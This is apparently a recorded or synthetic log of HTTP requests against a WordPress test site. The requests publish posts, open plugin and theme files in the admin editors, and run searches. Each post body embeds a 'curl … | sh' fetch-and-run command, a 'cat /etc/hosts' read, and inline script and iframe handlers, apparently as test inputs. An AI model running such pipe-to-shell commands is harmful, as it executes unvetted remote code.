"{\"id\":\"twentytwentyfive//header\",\"content\":\"<!-- wp:template-part {\\\"slug\\\":\\\"header\\\"} /-->\\n\\n<!-- wp:paragraph -->\\n<p>Our opening hours.</p>\\n<!-- /wp:paragraph -->\"}"}
{"method": "POST", "target": "/index.php?rest_route=%2Fwp%2Fv2%2Fposts%2F12&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 590", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207411"], "body": "{\"id\":12,\"title\":\"A guide to the plain address\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\",\"status\":\"draft\"}"}
{"method": "POST", "target": "/index.php?rest_route=%2Fwp%2Fv2%2Fposts%2F12&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 553", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=12&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207411"], "body": "{\"id\":12,\"status\":\"publish\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\"}"}
{"method": "POST", "target": "/index.php/wp-json/wp/v2/posts/14?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 590", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207416"], "body": "{\"id\":14,\"title\":\"A guide to the index address\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\",\"status\":\"draft\"}"}
{"method": "POST", "target": "/index.php/wp-json/wp/v2/posts/14?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 553", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=14&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207416"], "body": "{\"id\":14,\"status\":\"publish\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\"}"}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php&plugin=akismet%2Fakismet.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fbin%2Finstall.sh&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207404"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fdocker-compose.yml&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207406"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-editor.php?file=inc%2Fconfig.php&theme=example-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207407"], "body": ""}
{"method": "GET", "target": "/?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": ""}
{"method": "GET", "target": "/index.php?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=python3&post_status=all&post_type=post&_wpnonce=3a4f1df05d&_wp_http_referer=%2Fwp-admin%2Fedit.php&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207365"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=python3&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207365"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter=&s=python3&_wpnonce=f27c858c25&_wp_http_referer=%2Fwp-admin%2Fupload.php%3Fmode%3Dlist&action=-1&affected=&_ajax_nonce=a654b3ca7f&ps=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207366"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=python3&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207366"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=python3&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207366"], "body": ""}
{"method": "GET", "target": "/?s=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207368"], "body": ""}
{"method": "GET", "target": "/index.php?s=powershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207368"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=powershell&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207373"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=powershell&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207375"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=powershell&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207375"], "body": ""}
{"method": "GET", "target": "/?s=sudo+apt+install+nginx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207378"], "body": ""}
{"method": "GET", "target": "/index.php?s=sudo+apt+install+nginx", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207378"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?s=sudo+apt+install+nginx&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207383"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=sudo+apt+install+nginx&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207384"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=sudo+apt+install+nginx&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207385"], "body": ""}
